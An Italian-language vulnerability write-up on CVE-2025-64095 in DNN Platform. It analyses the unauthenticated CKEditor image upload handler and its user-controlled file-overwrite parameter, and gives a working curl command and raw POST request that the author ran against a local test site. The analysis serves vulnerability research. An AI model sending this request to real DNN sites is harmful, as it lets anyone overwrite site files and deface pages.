
POC di controllo degli accessi insufficiente di DNN - Il caricamento delle immagini consente la sovrascrittura del contenuto del sito.
POC di DNN Insufficient Access Control - Image Upload permette la sovrascrittura dei contenuti del sito
Sono un uomo semplice, vedo cvss:10/10 e ci vado xD
Ho visto questa nuova CVE CVE-2025-64095 DNN Insufficient Access Control - Image Upload permette la sovrascrittura dei contenuti del sito
Il provider predefinito dell'editor HTML consente il caricamento di file senza autenticazione e le immagini possono sovrascrivere file esistenti.
Descrizione Un utente non autenticato può caricare e sostituire file esistenti, consentendo di deturpare un sito web e, combinato con altri problemi, di iniettare payload XSS.
https://nvd.nist.gov/vuln/detail/CVE-2025-64095
Punteggio base: 10.0 CRITICO 🤷♂️
A quanto pare non è poi così critica, dato che non è possibile caricare una web shell come ASP, ASPX..ecc (almeno nella configurazione predefinita), si possono caricare solo immagini + SVG. Si possono solo caricare/scrivere file esistenti sul server web e in un percorso specifico; non è possibile caricare un file nemmeno nella directory root.
Dato che tutte le versioni precedenti alla 10.1.1 sono vulnerabili, ho preso la DNN Platform 10.1.0 (l'ultima versione vulnerabile)
Il diff è un po' grande; mi interessa solo il codice relativo al caricamento dei file, che riguarda Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx. Quindi mi sono concentrato sul confronto di questo specifico file tra le versioni per capire cosa (se mai) è stato corretto nella 10.1.1.
Lascia che ti spieghi cosa ho trovato e come ho scoperto la vulnerabilità.
Quando ho iniziato a guardare le due versioni, il diff complessivo mostrava 158 file modificati tra DNN Platform 10.1.0 e 10.1.1. La maggior parte erano solo miglioramenti - namespace file-scoped. Ma dovevo capire se la vulnerabilità di caricamento file fosse stata corretta.
Il file vulnerabile si trova in Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx.cs - questo è l'handler di caricamento file di CKEditor. È una superficie d'attacco comune per le vulnerabilità di caricamento file.
Osservando il metodo ProcessRequest nella 10.1.0:
public void ProcessRequest(HttpContext context)
{
context.Response.AddHeader("Pragma", "no-cache");
context.Response.AddHeader("Cache-Control", "private, no-cache");
this.HandleMethod(context);
}
Questo è tutto. Non c'è letteralmente nessun controllo di autenticazione. Chiunque può inviare una richiesta a questo endpoint e caricare file, nessun controllo di sessione, niente.
Il flusso è il seguente:
FileUploader.ashxProcessRequest viene chiamatoHandleMethod che instrada verso UploadFileUploadFile chiama UploadWholeFileUploadWholeFile elabora il caricamento senza verificare se l'utente ha effettuato l'accessoL'intera logica di caricamento avviene in UploadWholeFile a partire circa dalla riga 230. Ecco le parti critiche:
private void UploadWholeFile(HttpContext context, List<FilesUploadStatus> statuses)
{
for (int i = 0; i < context.Request.Files.Count; i++)
{
var file = context.Request.Files[i];
var fileName = Path.GetFileName(file.FileName); // Line 236
// Convert Unicode Chars
fileName = Utility.ConvertUnicodeChars(fileName);
// Replace dots in the name with underscores (only one dot can be there... security issue).
fileName = Regex.Replace(fileName, @"\.(?![^.]*$), "_", RegexOptions.None);
// Check for Illegal Chars
if (Utility.ValidateFileName(fileName))
{
fileName = Utility.CleanFileName(fileName);
}
// ... more processing ...
// Rename File if Exists
if (!this.OverrideFiles) // Line 268
{
var counter = 0;
while (File.Exists(Path.Combine(this.StorageFolder.PhysicalPath, fileName)))
{
counter++;
fileName = string.Format("{0}_{1}{2}", fileNameNoExtenstion, counter, Path.GetExtension(file.FileName));
}
}
var contentType = FileContentTypeManager.Instance.GetContentType(Path.GetExtension(fileName));
var userId = UserController.Instance.GetCurrentUserInfo().UserID; // Line 284 - gets userId but never checked!
if (!contentType.StartsWith("image", StringComparison.InvariantCultureIgnoreCase))
{
FileManager.Instance.AddFile(this.StorageFolder, fileName, file.InputStream, this.OverrideFiles, true, contentType, userId);
}
else
{
// Image resizing logic follows...
}
}
}
Nota che alla riga 284 viene chiamato UserController.Instance.GetCurrentUserInfo() per ottenere lo userId, ma non viene mai verificato se l'utente è autenticato. Se non hai effettuato l'accesso, viene restituito un utente null o anonimo, ma il caricamento prosegue comunque.
Nota anche la proprietà OverrideFiles alla riga 268:
private bool OverrideFiles =>
HttpContext.Current.Request["overrideFiles"].Equals("1")
|| HttpContext.Current.Request["overrideFiles"].Equals("true", StringComparison.InvariantCultureIgnoreCase);
Questo è un parametro controllabile dall'utente! Chiunque può impostare overrideFiles=1 nella richiesta di caricamento e sovrascrivere file esistenti.
L'ho testato creando un semplice comando curl:
C:\Users\pwn\Desktop>curl -x http://127.0.0.1:8080 -X POST http://mysite.dnndev.me/Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx -F "[email protected]" -F "storageFolderID=1" -F "portalID=0" -F "overrideFiles=1" -F "mode=Default"
[{"group":null,"name":"poc.png","type":"image/png","size":0,"progress":"1.0","url":"/FileTransferHandler.ashx?f=poc.png","thumbnail_url":null,"delete_url":null,"delete_type":null,"error":null}]
richiesta POST grezza
POST /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx HTTP/1.1
Host: mysite.dnndev.me
User-Agent: curl/8.13.0
Accept: */*
Content-Length: 626
Content-Type: multipart/form-data; boundary=------------------------7RKjWLYyrhvUn2AA31fJQ3
Connection: keep-alive
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="file"; filename="poc.png"
Content-Type: image/png
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="storageFolderID"
1
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="portalID"
0
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="overrideFiles"
1
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="mode"
Default
--------------------------7RKjWLYyrhvUn2AA31fJQ3--
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 194
[{"group":null,"name":"poc.png","type":"image/png","size":10,"progress":"1.0","url":"/FileTransferHandler.ashx?f=poc.png","thumbnail_url":null,"delete_url":null,"delete_type":null,"error":null}]
Il file è stato caricato con successo. L'ho verificato controllando http://mysite.dnndev.me/Portals/_default/poc.png e, ovviamente, era lì.
e il file è ospitato nella directory \Portals_default :
PS C:\Users\pwn\Documents\site\web02> Get-ChildItem -Path . -Filter "poc.png" -Recurse -File
Directory: C:\Users\pwn\Documents\site\web02\Website\Portals\_default
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/31/2025 4:16 PM 0 poc.png
PS C:\Users\pwn\Documents\site\web02>
Stavo cercando un path traversal per sovrascrivere i file nella directory root, ma la protezione è in realtà piuttosto buona. Guardando
var fileName = Path.GetFileName(file.FileName);
funziona correttamente. Path.GetFileName() rimuove automaticamente qualsiasi sequenza di path traversal. Quindi se qualcuno cerca di caricare un file chiamato ../../../foo, diventa semplicemente foo.
Il codice ha anche protezioni aggiuntive in "DNN Platform\Providers\HtmlEditorProviders\DNNConnect.CKE\Browser\FileUploader.ashx.cs"
private void UploadWholeFile(HttpContext context, List<FilesUploadStatus> statuses)
{
for (var i = 0; i < context.Request.Files.Count; i++)
{
var file = context.Request.Files[i];
if (file is null)
{
continue;
}
var fileName = Path.GetFileName(file.FileName);
if (!string.IsNullOrEmpty(fileName))
{
// Convert Unicode Chars
fileName = Utility.ConvertUnicodeChars(fileName);
// Replace dots in the name with underscores (only one dot can be there... security issue).
fileName = Regex.Replace(fileName, @"\.(?![^.]*$)", "_", RegexOptions.None);
// Check for Illegal Chars
if (Utility.ValidateFileName(fileName))
{
fileName = Utility.CleanFileName(fileName);
}
}
else
{
throw new HttpRequestValidationException("File does not have a name");
}
if (fileName.Length > 220)
{
fileName = fileName.Substring(fileName.Length - 220);
}
// file names starting with '\\' may be used for manipulating the filepath and explore vulnerabilities
fileName = Regex.Replace(fileName, @"^\\+", string.Empty);
var fileNameNoExtenstion = Path.GetFileNameWithoutExtension(fileName);
// Rename File if Exists
if (!OverrideFiles)
{
var counter = 0;
while (File.Exists(Path.Combine(StorageFolder.PhysicalPath, fileName)))
{
counter++;
fileName = string.Format(
"{0}_{1}{2}",
fileNameNoExtenstion,
counter,
Path.GetExtension(file.FileName));
}
}
come puoi vedere nel codice // file names starting with '\\' may be used for manipulating the filepath and explore vulnerabilities fileName = Regex.Replace(fileName, @"^\\+", string.Empty);
Come ho detto, non penso che questa sia una vulnerabilità critica, dopotutto.